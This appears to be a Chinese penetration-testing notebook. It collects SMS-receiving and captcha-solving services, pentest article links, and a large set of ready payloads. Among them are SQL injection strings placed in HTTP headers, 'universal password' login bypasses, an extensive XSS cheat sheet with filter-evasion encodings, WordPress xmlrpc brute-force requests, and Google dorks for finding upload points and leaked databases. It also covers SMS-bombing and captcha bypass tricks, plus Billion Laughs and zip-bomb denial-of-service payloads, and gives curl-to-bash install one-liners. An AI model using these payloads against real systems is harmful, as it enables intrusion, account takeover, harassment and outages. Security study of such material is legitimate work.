郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

验证码相关

手机短信接码

  • 国内平台

    https://www.pdflibr.com
    https://www.visitorsms.com/cn
    https://www.becmd.com
    http://www.114sim.com
    https://yunduanxin.net
    http://www.smszk.com
    http://z-sms.com
    http://www.shejiinn.com
    https://sms.cngrok.com
  • 国外平台

    https://ch.freephonenum.com
    https://smsreceivefree.com
    https://zh.mytrashmobile.com
    https://www.receive-sms-online.info
    https://receiveasms.com
    https://sms-online.co/receive-free-sms
    https://receive-sms.com
    http://www.tay8.com/
    http://www.51ym.me/
    http://www.eobzz.com/newsUpPage/API.html
    http://47.90.98.47:9000/index.html
    http://www.xunma.net/Login.html
    http://www.ixinsms.com/
    http://www.mili02.com:9000/
    http://www.lema.pw/
    http://ma.d4z.cn/
    http://www.baiwanma.com/
    http://114.55.24.232/
    http://soft.hellotrue.com/
    http://www.shjmpt.com:8000/
    http://120.26.100.114:8888/ (以前的卓码, 捷码)
    http://www.6tudou.com:9000/download.html
    http://www.tianma168.com/
    http://www.ema666.com/
    http://yemapt.com/web/index.html
    http://www.baiwanma.com/
    http://www.yunsu01.com/

语音验证码

  • 外星码

    http://www.waixing.website
  • 星辰码

    http://www.xingchenma.com:9000/
  • 星空码

    http://www.xk-yzm.com/
  • 60

    http://www.60ma.net/
  • Thewolf

    http://www.yyyzmpt.com/

自动打码

  • 若快

    http://www.ruokuai.com/
  • 超人

    http://www.chaorendama.com/
  • 联众

    https://www.jsdati.com/ 

渗透文章总结(按类型分类)

SSRF漏洞

  • SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

    www.baidu,com/xxx.php?image=URL
    www.baidu.com就会请求URL的地址然后把URL的内容呈现给你

代码审计

  • PHP代码安全

    文章讲了各种函数的缺陷以及绕过方法
    https://blog.csdn.net/wy_97/article/details/79088218

SQL常规注入

  • SQL注入学习资料总结

    hn3ya大佬的总结,一个字香!
    https://www.cnblogs.com/hnsya/p/9370081.html
  • SqlMapTamper详解及使用指南

    https://blog.csdn.net/wn314/article/details/78872828
  • Sqlmap中文手册

    文章里面讲的应该是我所能找到最详细的了
    https://blog.csdn.net/wy_97/article/details/79088218
  • SQLMAP API

    对API进行了详细的讲解
    https://www.freebuf.com/articles/web/204875.html
  • pentestmonkey

    覆盖了几乎所有数据库的文章
    http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
  • 一篇文章带你深入理解 SQL 盲注

    这篇文章对盲注讲解的挺不错的
    https://www.anquanke.com/post/id/170626
  • mysql注入新姿势

    利用hex和conv来注入
    https://www.cnblogs.com/Mrsm1th/p/6842300.html
  • HTTP响应头和请求头信息对照表

    里面对header头有详细的对应讲解,贼好用
    http://tools.jb51.net/table/http_header

WAF

  • WAF绕过思路

    http://drops.xmd5.com/static/drops/tips-7883.html

内网渗透

  • 九种姿势运行Mimikatz

    文章距离我发博客以及过了1年了,绕过360已经不可能了但是姿势可以学习
    https://www.freebuf.com/articles/web/176796.html
  • Beef-XSS+Sunny-Ngrok实现内网穿透

    脑洞挺不错,值得学习
    https://www.freebuf.com/articles/web/207259.html

后渗透

  • 渗透之权限维持杂谈

    里面介绍了Windows 和linux 的计划任务,开机启动,后门维权,有几个脑洞还不错
    https://www.anquanke.com/post/id/171891
  • 反弹Shell总结

    适合刚入门的新手
    https://www.freebuf.com/articles/system/178150.html
  • Netcat反弹Shell详解

    对Netcat做了详细用法介绍
    https://ascotbe.github.io/2019/08/19/Netcat%E5%8F%8D%E5%BC%B9Shell%E8%AF%A6%E8%A7%A3/

分享学习资料

  • DEFCON

    DEFCON的资料分享网站
    https://media.defcon.org

工具库汇总

火狐浏览器插件

  • Disable JavaScript

    禁用网站的js
  • HackBar

    URL头部窗口可以进行URL加解密之类的信息,安装后会在F12里面
  • Hoxx VPN Proxy

    VPN代理万一SSR免费账号没办法用了就用这个网页版的进行访问

谷歌浏览器插

  • Adblock Plus

    免费的广告拦截器

  • Ghostery

    隐私广告拦截工具Adblock Plus +Ghostery天下无敌

  • EditThisCookie

    EditThisCookie是一个cookie管理器。您可以添加,删除,编辑,搜索,锁定和屏蔽cookies

  • 云盘万能钥匙

    百分之90的需要钥匙的百度网盘链接都不需要输入秘钥

  • Imagus

    自动加载网页URL里面的原图,用html语句缩小的图片加载正常大小

  • Google 翻译

    不多BB就是吹爆

  • Image Downloader

    一键下载当前页面的图片

  • Tampermonkey

    里面又各种JS脚本贼好用

内网渗透

  • Mimikatz

    运行能看Windows登录的账号密码,以及hash值等等。相关绕过在Web渗透分类的内网渗透里面

FUZZ

  • cupp

    cupp社工字典生成项目
    https://github.com/Mebus/cupp.git
  • 在线社工字典生成

    http://tools.mayter.cn/
    在线社工密码字典生成网站

网页相关工具

  • JSFinder

    在网站的JS文件中提取URL子域名的工具
    https://github.com/Threezh1/JSFinder

漏洞相关

  • Vulhub

    搜索漏洞对应的CVE编号
    http://cve.scap.org.cn
  • Nist

    国外的漏洞查询库
    https://nvd.nist.gov

杂项工具

  • 在线工具集合

    里面超多工具各种前端,编码,IP相关,DNS等等的集合
    https://tool.lu/index.html
  • CTFtools

    CTF常用的工具库
    https://www.ctftools.com/down/
  • Python 渗透库

    里面有很多渗透相关的库文件,相对挺全的。
    https://blog.csdn.net/qq_33020901/article/details/74536171

Burp

  • Burp扩展插件

    里面的插件是真的多,总有一个能瞒住你的需求
    https://github.com/snoopysecurity/awesome-burp-extensions

破解加密

  • colab

    Google免费试用GPU破解嘻哈值
    https://colab.research.google.com 目标网址
    https://www.freebuf.com/geek/195453.html 试用介绍
  • 暴力破解工具汇总

    https://www.freebuf.com/sectool/195910.html
  • 免费帐号无法访问绕过方法
    1

应急响应

Linux

  • 应急响应常用命令笔记

    自己写的笔记
    https://ascotbe.github.io/2019/08/12/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94Linux%E7%AF%87/
  • 轻松了解web日志分析过程

    里面有Apache Logs Viewe工具的详细用法
    https://mp.weixin.qq.com/s/Z23aIuocXUKWOHuEloS15Q

Windows

  • 系统日志

    里面讲了日志相关介绍,日志分析,被删文件如何恢复
    https://www.freebuf.com/vuls/175560.html
  • Windows 注册表取证分析

    文章讲了如何对注册列表进行取证
    https://www.anquanke.com/post/id/169435
  • 应急响应处置流程

    Windows应急响应的大致流程介绍
    https://www.freebuf.com/articles/network/203494.html

渗透姿势总结

域名信息收集

  • 你需要知道哪些domain是该公司的,主要通过手工来查看

    网站的关于页面/网站地图
    whois反查
    一些网站里面的跳转请求(也可以关注一下app)
    还有就是百度,有些会在title 和 copyright信息里面出现该公司的信息
    网站html源码:主要就是一些图片、js、css等,也会出现一些域名(源码里面惊喜巨他妈多有时候测试账号都会有
    apk反编译源码里面
  • 搜集域名和mail地址

    利用Google语法
    搜集敏感文件:site:xxx.com filetype:doc
    搜集管理后台:site:xxx.com 管理/site:xxx.com admin/site:xxx.com login
    搜集mail:site:xxx.com intext:@xxx.com/intext:@xxx.com
    搜集敏感web路径:site:xxx.com intitle:登录/site:xxx.com inurl:sql.php
  • Google Hacking信息刺探的攻与防

    文章有语法详情和一些奇淫技巧,值得学习
    https://www.freebuf.com/articles/network/169601.html

敏感信息收集

  • 大致的方法如下

    github源代码:网上有工具(https://github.com/repoog/GitPrey)
    svn信息泄漏:这个只能用扫描器了
    敏感文件:比如数据库配置文件啦、网站源码啊、数据库备份文件等等
    敏感目录:网站后台目录/一些登录地址/一些接口目录
    email:邮箱命名规则、公司是否具有邮箱默认密码。
    员工号:很多oa、um、sso系统都是采用员工号登录的,所以知道员工号的规则很多时候能帮助我们进行撞库。
    商家信息:如果是一些具有商家系统的,能收集到一些商家账户(可以注册)就可以进入很多系统来测试了。

购物漏洞挖掘思路

  • 首先我们要选择

    筛选涉及查询(是否可以SQL注入)
    加入购物车:商品数量是否可以为负
  • 询问商家

    跳转客服系统,跳转url中是否含有用户参数
    xss打客服cookie
    钓鱼+社工
  • 下单

    填地址,涉及插入(注入)、xss
    修改单价
    修改总额
    这里说明一下修改总额:
    情况1,就是我们可能会遇到可以使用优惠卷的情况,比如我们买了100的东西只能使用5块的优惠价,但是我有一张50的优惠卷是否可以使用;
    情况2,打折我们是否可以修改打折的折扣;
    情况3,我们是否可以修改运费,将运费改为负数;
  • 备注

    xss,sql注入
  • 电子票据

    会有越权查看等问题
  • 支付

    传输过程中是否可以修改,如果是扫描二维码支付,我们可以分析一下二维码中的请求url看是否可以修改以后重新生成二维码
  • 订单完成

    是否可以遍历订单
  • 评价

    注入、上传图片、xss

Header头注入

HOST注入

密码重置的中毒

提交找回密码表单,篡改其中的host头值。

1

当用户收到密码重置邮件后,发现是钓鱼者的网址,且秘钥令牌也已参数id的形式传给给攻击者,此时攻击者可以直接使用受害者的令牌进行密码重置。

1

1

XSS
有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。

1
1
1

1
1
1

X-Forwarded-For注入
大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。
这样大概率的原因是,当你有攻击行为的时候,服务器把恶意用户的ip存入数据库。
这样我们就可以利用对IP位置构造sql注入的Payload

1

X-Forwarded-For通过这个字段我们可以控制绕过ip的限制,但是当我们去绕过ip限制的时候ip会带入数据库去查询,这点我们是不是可以尝试一下sql注入。

157172437

User-Agent注入
  • 就放个header头文件,大家一看应该就懂了

    例1

    GET / HTTP/1.1
    Host: www.example.com
    Connection: keep-alive
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: en-US,en;q=0.8,fr;q=0.6

    例2

    GET /index.php?do=login HTTP/1.1
    Host: localhost
    User-Agent: Anka9080',(select(sleep(5))))#
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
    Connection: keep-alive

短信轰炸

​ 如果抓包重放还是无法绕过时间限制的话可以在抓包的手机号后面添加:\\n空格等特殊字符来实现绕过限制(无限\n叠加

​ 比如下面这个网站发送一个就要等1分钟

2

​ 如果在后面加上空格就可以发送成功,然后无限加空格就能进行爆破了,可以看返回包的date数据结果为1分钟之内的

2

2

登录后台绕过

利用万能密码
  • Asp/Aspx万能密码

    'or'='or'
    'or 1=1\--
    ''or 1=1\--
    'or'a'='a
    "or "a"="a
    "or"="a'='a
    ')or('a'='a
    or 1=1\--
    a'or' 1=1\--
    "or"="a'='a
    'or''='
    1 or '1'='1'=1
    1 or '1'='1' or 1=1
    'OR 1=1%00
    "or 1=1%00
    'xor
    admin' or 'a'='a
  • PHP万能密码

    'or'='or'
    'or 1=1/* 字符型 GPC是否开都可以使用
  • JSP万能密码

    1'or'1'='1
0×02 抓取返回包绕过

1
1
1

验证码绕过

0x01 图片验证
如果是像google或者12306那种的图片验证码可以使用百度识图+google识图来识别绕过
参考文章https://shuimugan.com/bug/view?bug_no=102178
0x02 参数绕过
如果有什么奇怪的参数不妨修改下,比如说true,-1,0,yes之类的参数不妨修改下说不定有奇效
比如说&XXXCode=True,直接改成&XXXCode=False,或者置空参数&XXXCode=,在或者删除参数
0x03 Cookie绕过
很多网站多次错误需要输入验证码的判断却源于cookie,很多是通过sessionid判断的
这样的话直接清空Cookie的值就可以直接绕过验证码,有时候修改Cookie也可以绕过
0x04 Url参数绕过
有些网站如果你多次爆破就会出现验证码,但是有些会在Url里面多出某些参数
比如原来的Url:www.baidu.com
多次爆破出现的Url:www.baidu.com/?XXXcode=1
0x05 返回包绕过
具体和渗透姿势总结->登录后台绕过里面->抓取返回包绕过相似
0x06 空验证码绕过
这个我没遇到过,听大佬说是应为代码逻辑的问题
0x07 常见的思路
  • 验证码存在返回包中(手机验证码也遇到过存在返回包中的
  • 验证码当做摆设(输不输入都没用
  • 验证码是以加密数据包形式从服务器返回,不是以图片的形式(之前有一个大厂就是这操作,直接抓取解密爆破一气呵成
  • 验证码在客户端生,然后和数据包一起发给后端验证(这开发的思路很迷
  • 验证码可重用(前一个验证码后端没有做销毁,导致的重复利用
  • 验证码出现基于IP出现的(换代理IP爆破,这种挺多的迷的很
  • 验证码返回包改为溢出的数,他就会默认登录数据库第一个账号
  • 验证码实时验证(这开发脑洞我真的服的一台糊涂生怕别人爆破不了自家后台,具体看下图
    1
    1
    1
    1

无过滤下的XSS执行

<scirpt>

<scirpt>alert("xss");</script>

<img>

<img src=1 onerror=alert("xss");>

<input>

<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>

<details>

<details ontoggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<svg>

<svg onload=alert("xss");>

<select>

<select onfocus=alert(1)></select>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>

<iframe>

<iframe onload=alert("xss");></iframe>

<video>

<video><source onerror="alert(1)">

<audio>

<audio src=x  onerror=alert("xss");>

<body>

<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br>
<br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea>

<textarea onfocus=alert("xss"); autofocus>

<keygen>

<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>

<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>

<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
利用link远程包含js文件
在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">

JavaScript伪协议

  • <a>标签

    <a href="javascript:alert(`xss`);">xss</a>
  • <frame>标签

    <iframe src=javascript:alert('xss');></iframe>
  • <img>标签

    <img src=javascript:alert('xss')>//IE7以下
  • <form>标签

    <form action="Javascript:alert(1)"><input type=submit>

标签内的属性

  • expression属性

    <img style="xss:expression(alert('xss''))"> // IE7以下
    <div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
  • background属性

    <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有过滤的情况下XSS执行

过滤空格

  • 用/代替空格

    <img/src="x"/onerror=alert("xss");>

过滤关键字

  • 大小写绕过

    <ImG sRc=x onerRor=alert("xss");>
  • 双写关键字

    <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

过滤"关键字

  • 利用\过滤aaaa",接着是//注释1后面的字符串

  • 原始的语句

    ss=aaaa"+"&from=1"+"&param="
  • 构造的payload

    ss=aaaa"+"&from=1"+"&param="
  • payload可以拆分为

    &ss=aaaa\"+"  工具人参数
    &from=1 可控的参数
    //"+"&param=" 注释的参数

字符拼接

  • 利用eval

    <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  • 利用top

    <script>top["al"+"ert"](`xss`);</script>

其它字符混淆

  • 有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了

    可利用注释、标签的优先级等
    <<script>alert("xss");//<</script>
    <title><img src=</title>><img src=x onerror="alert(`xss`);">
    //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
    <SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

  • 提示

    XSS 有时候对数据编码不一定要全部编码,编码单个字母或者隔着编码有奇效
    宽字符绕过
    <scirpt>alert(%c0%22xss%c0%22);</script>
  • Unicode编码绕过

    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
    <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  • url编码绕过

    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  • Ascii码绕过

    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  • hex绕过

    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  • 八进制

    <img src=x onerror=alert('\170\163\163')>
  • base64绕过

    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

  • 当括号被过滤的时候可以使用throw来绕过

    ><svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
  • 十进制IP

    <img src="x" onerror=document.location=`http://2130706433/`>
  • 八进制IP

    <img src="x" onerror=document.location=`http://0177.0.0.01/`>
  • hex

    <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  • html标签中用//可以代替http://

    <img src="x" onerror=document.location=`//www.baidu.com`>
  • 使用\

    但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议
  • 使用中文逗号代替英文逗号

    如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
    <img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度//会自动跳转到百度

XML

账号密码爆破

​ 当看到这个返回值的时候文件类似于http://XXXX/xmlrpc.php的时候可以使用XML进行爆破账号密码

1

  • XML数据格式

    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
    <param><value>admin</value></param>
    <param><value>admin</value></param>
    </params>
    </methodCall>

    使用结果如下

    POST /xmlrpc.php HTTP/1.1
    Host: XXXXXXXX
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 217

    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
    <param><value>admin</value></param>
    <param><value>admin</value></param>
    </params>
    </methodCall>

    2

利用谷歌语法

googlehack基本语法

  • 查看基本情况

    inurl:*.asp 返回一些基本信息
    site:xx.com 返回所有与该有关的url
    link:xx.com 返回所有与该站做了连接的站
  • 查找后台

    site:xx.com intext:管理
    site:xx.com inurl:login
    site:xx.com intitle:后台
  • 查看服务器使用的程序

    site:xx.com filetype:asp
    site:xx.com filetype:php
    site:xx.com filetype:jsp
    site:xx.com filetype:aspx
  • 查看上传漏洞

    site:xx.com inurl:file
    site:xx.com inurl:load
  • 查找注射点

    site:xx.com filetype:asp
  • 搜索上传点

    inurl:<?action=upload.asp
    inurl:../..com/upload.asp?action=
    Inurl:userManage-Admin.do?tt=
    news-News.do?
    Inurl:admin.php?action=add
    Inurl:editnews.asp?id=
    ADODB.connection
    site:edu.cn inurl:asp?mdb=
    ?id=%3c<mdb.action>
    "microsoft access driver (*mdb)"
    Server.createobject ("adodb.connection")
    Upload.php?type=
    ?action=upfile
    ?action=pic
    ?typeid=
    inurl:../../../..admin/,..edit../../?..upload../../..
    inurl:../web../..db/../..
    inurl:../..baoming/..edit/..upload/../..php/
    inurl:../../..edit/..upload/../..php/
    inurl:../../..edit/..upload/../..asp/
    inurl:..news/..admin/../..upload/..
    default.asp?Action=
    SELECT BOOK1.* FROM BOOK1
    ADODB.Recordset
    &ErrorMessage=
    default.asp?
    inurl:..cn/..bm/../..upload/../..asp/
    <!--#include file="../inc/AspCms_SettingClass.asp" -->
    inurl:save.asp?action=
    Upimg.asp?pid=
    showimg.asp?id=
    add.asp?myid=
    filetype:asp site:.cn inurl:upload.asp
    filetype:config inurl:web.config inurl:ftp
    filetype:aspx site:.cn inurl:export.aspx
    filetype:sh inurl:cgi-bin
  • 搜索管理后台

    site:XXX.com intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号
    site:XXX.com inurl:login/admin/manage/manager/admin_login/login_admin/system/boss/master
    site:XXX.com intitle:管理|后台|登陆|
  • 搜索上传漏洞

    site:XXX.com inurl:file
    site:XXX.com inurl:load
  • 搜索注入点页面

    site:XXX.com inurl:php?id=
  • 搜索编辑器页面

    site:xxxx.com inurl:fck
    site:XXXX.com inurl:ewebeditor
  • 搜索重要文件

    site:xxx.com inurl:robots.txt
    site:XXX.com filetype:mdb
    site:xxx.com filetype:ini
    site:xxx.com inurl:txt
    site:xxx.com filetype:php
    site:xxx.com filetype:asp
  • 搜索暴库

    %3c  
    %23
    site:cn inurl:mdb?Page=
    <!--#include File="conn.asp"-->
    inurl:<%@( !-- #include= )%>
    inurl:./../<dir>/..=config.php
    inurl:<%( (Dir = ) )%>
    inurl:<%@()%>
    inurl:<%( (set=nothing) )%>
    inurl:<%@("ADODB.Connection")%>
    inurl:<%@("Response.End")%>
    inurl:<%@("ADODB.Recordset")%>
    inurl:<%@("Microsoft Access Driver"(*.mdb)")%>
    inurl:<%@( web.config )%>
    inurl:<%@( Server.CreateObject)%>
    inurl:<%@( end if )%>
    inurl:<%@( Action=Trim(request("Action")) )%>
    inurl:<%@( <%=fl.Setup(0)%> )%>
    inurl:<%@( (HTTP_REFERER) )%>
    inurl:<%( (*.asp) )%>
    inur:< %?(" down=*.mdb ")?%>
    inurl:<%( re.Pattern= )%>
    inurl:<%( set conn=server.createobject )%>
    inurl:<%( Referer=re.Replace )%>
    inurl:<%( (conn.ConnectionString) )%>
    newsadd1.asp?E_BigClassID=
    showerr.asp?action=error&message=
    Request.ServerVariables
  • 搜索生成EXCEL文件

    $ , # , ' ,%  ,^  ,&  ,?   ,(,)   ,<,>  ,  [,]  ,  {,}   ,/,\  ,;,:,  常用特殊符号
    Action typle get post save getForm value Move send set add del edit upload Messages
    40%
    %20
    %3c
    =%3C%25=rs(
    %3C%=rc(0)%%3E
    %3C%=Rs1(
    %3C%=rs(
    %3C%=rsn(
    %3C%=rs2(
    %3C%=(ttt+2)%
    %3C%=i%%3E
    %3C%=int(pageid-1)%%3E
    echo dir
    \--with-mysql=
    ?a[]=%3Ca+href% phpinfo
  • 杂项

    intitle:Password:  inurl:aspx
    intext:webshell filetype:asp site:cn
    intitle:aspxshell filetype:aspx
    intitle:webshell filetype:asp
    inurl:excel.asp site:cn
    intext:高校报名考试 author:数据导出 inurl:asp
    filetype:xlsx "密码

外网服务器搭建

  • 一键搭建SSR

    wget --no-check-certificate https://freed.ga/github/shadowsocksR.sh; bash shadowsocksR.sh
  • 一件搭建v2rav

    bash <(curl -s -L https://git.io/v2ray.sh)

v2rav 客户端

Windows客户端

Windows系统建议使用V2rayN,界面简洁大气且支持Vmess和Shadowsocks。

安卓客户端

Mac客户端

Mac OS X系统建议使用V2rayU,有中文界面且支持vmess/shadowsocks/socks协议。

命令行设置代理

  • CMD

    set http_proxy=http://127.0.0.1:10808
    set https_proxy=http://127.0.0.1:10808
  • PowerShell

    $Env:http_proxy="http://127.0.0.1:10808";
    $Env:https_proxy="http://127.0.0.1:10808";
  • Mac

    export http_proxy=http://127.0.0.1:1087;export https_proxy=http://127.0.0.1:1087;export ALL_PROXY=socks5://127.0.0.1:1080

查看服务器开了哪些请求

利用OPTIONS参数查看服务器开启了哪些请求

curl -i -X OPTIONS https://www.ascotbe.com

1

Web层面上的那些拒绝服务攻击

转载地址:https://www.sec-in.com/article/445

资源生成大小可控

现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险。

此类场景多为:图片验证码、二维码

实际场景

图片.png

关注一下接口地址:https://xxx/validcode?w=130&h=53

参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130宽为53

可以将w=130修改为w=130000000000000000,让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。

图片验证码在登录、注册、找回密码…等功能比较常见:

图片.png

Zip炸弹

不知道各位有没有听说过Zip炸弹,一个42KB的压缩文件(Zip),解压完其实是个4.5PB的“炸弹”。

先不说4.5PB这个惊人的大小,光解压都会占用极大的内存。

该文件的下载地址:https://github.com/Ascotbe/virus/blob/master/ZipBomb/RecursiveBomb.zip

解压这个42.zip以后会出现16个压缩包,每个压缩包又包含16个,如此循环5次,最后得到165次方个文件,也就是1048576个文件,这一百多万个最终文件,每个大小为4.3GB
因此整个解压过程结束以后,会得到 1048576 * 4.6 GB = 4508876.8 GB,也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB

通过以上说明,我们可以寻找存在解压功能的Web场景进行拒绝服务攻击,但是这里有一个前置条件就是需要解压并可以递归解压。

那我们想要完成这一攻击就非常的困难了,“前辈”也提到了非递归的Zip炸弹,也就是没有嵌套Zip文件文件的,如下表格:

名称 解压结果
zbsm.zip 42 kB → 5.5 GB
zblg.zip 10 MB → 281 TB
zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible)

存在解压功能的Web场景还是比较多的,可以根据实际业务场景进行寻找。

实际场景

根据实际业务场景发现一处上传模板文件功能,根据简单的测试,发现此处上传Zip文件会自动解压:

图片.png

这里我选择上传zbsm.zip上去,看一下服务器反应:

图片.png

这里整个服务的请求都没有返回结果,成功造成拒绝服务。

XDoS(XML拒绝服务攻击)

XDoS,XML拒绝服务攻击,其就是利用DTD产生XML炸弹,当服务端去解析XML文档时,会迅速占用大量内存去解析,下面我们来看几个XML文档的例子。

Billion Laughs

据说这被称为十亿大笑DoS攻击,其文件内容为:

<!DOCTYPE keyz [
<!ENTITY key "key">
<!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;">
<!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;">
<!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;">
<!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;">
<!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;">
<!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;">
<!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;">
<!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;">
]>
<keyz>&key9;</keyz>

这是一段实体定义,从下向上观察第一层发现key9由10个key8组成,由此类推得出key[n]由10个key[n-1]组成,那么最终算下来实际上key910^9(1000000000)个key[..]组成,也算是名副其实了~

本地测试解析该XML文档,大概占用内存在2.5GB左右(其他文章中出现的均为3GB左右内存):

图片.png

试想:这只是9层级炸弹,如果再多一点呢?

External Entity

外部实体引用,文档内容如下:

<!DOCTYPE keyz [
<!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe">
]>
<keyz>&wechat;</keyz>

这个理解起来就很简单了,就是从外部的链接中去获取解析实体,而我们可以设置这个解析URL为一个超大文件的下载地址,以上所举例就是微信的。

图片.png

当然,我们也可以设置一个不返回结果的地址,如果外部地址不返回结果,那么这个解析就会在此处一直挂起从而占用内存。

Internal Entity

内部实体引用,文档内容如下:

<!DOCTYPE keyz [
<!ENTITY a "a...a">
]>
<keyz>&a;...&a;</keyz>

其意思就是实体a的内容又臭又长,而后又N次引用这个实体内容,这就会造成解析的时候占用大量资源。

实际场景

图片.png

一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~

抱着试一试的心态将Billion LaughsPayload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可):

上传之后产生的效果就是网站延时极高,至此就完成了整个测试。

ReDoS(正则表达式拒绝服务攻击)

ReDoS,正则表达式拒绝服务攻击,顾名思义,就是由正则表达式造成的拒绝服务攻击,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。

在正式了解ReDoS之前,我们需要先了解一下正则表达式的两类引擎:

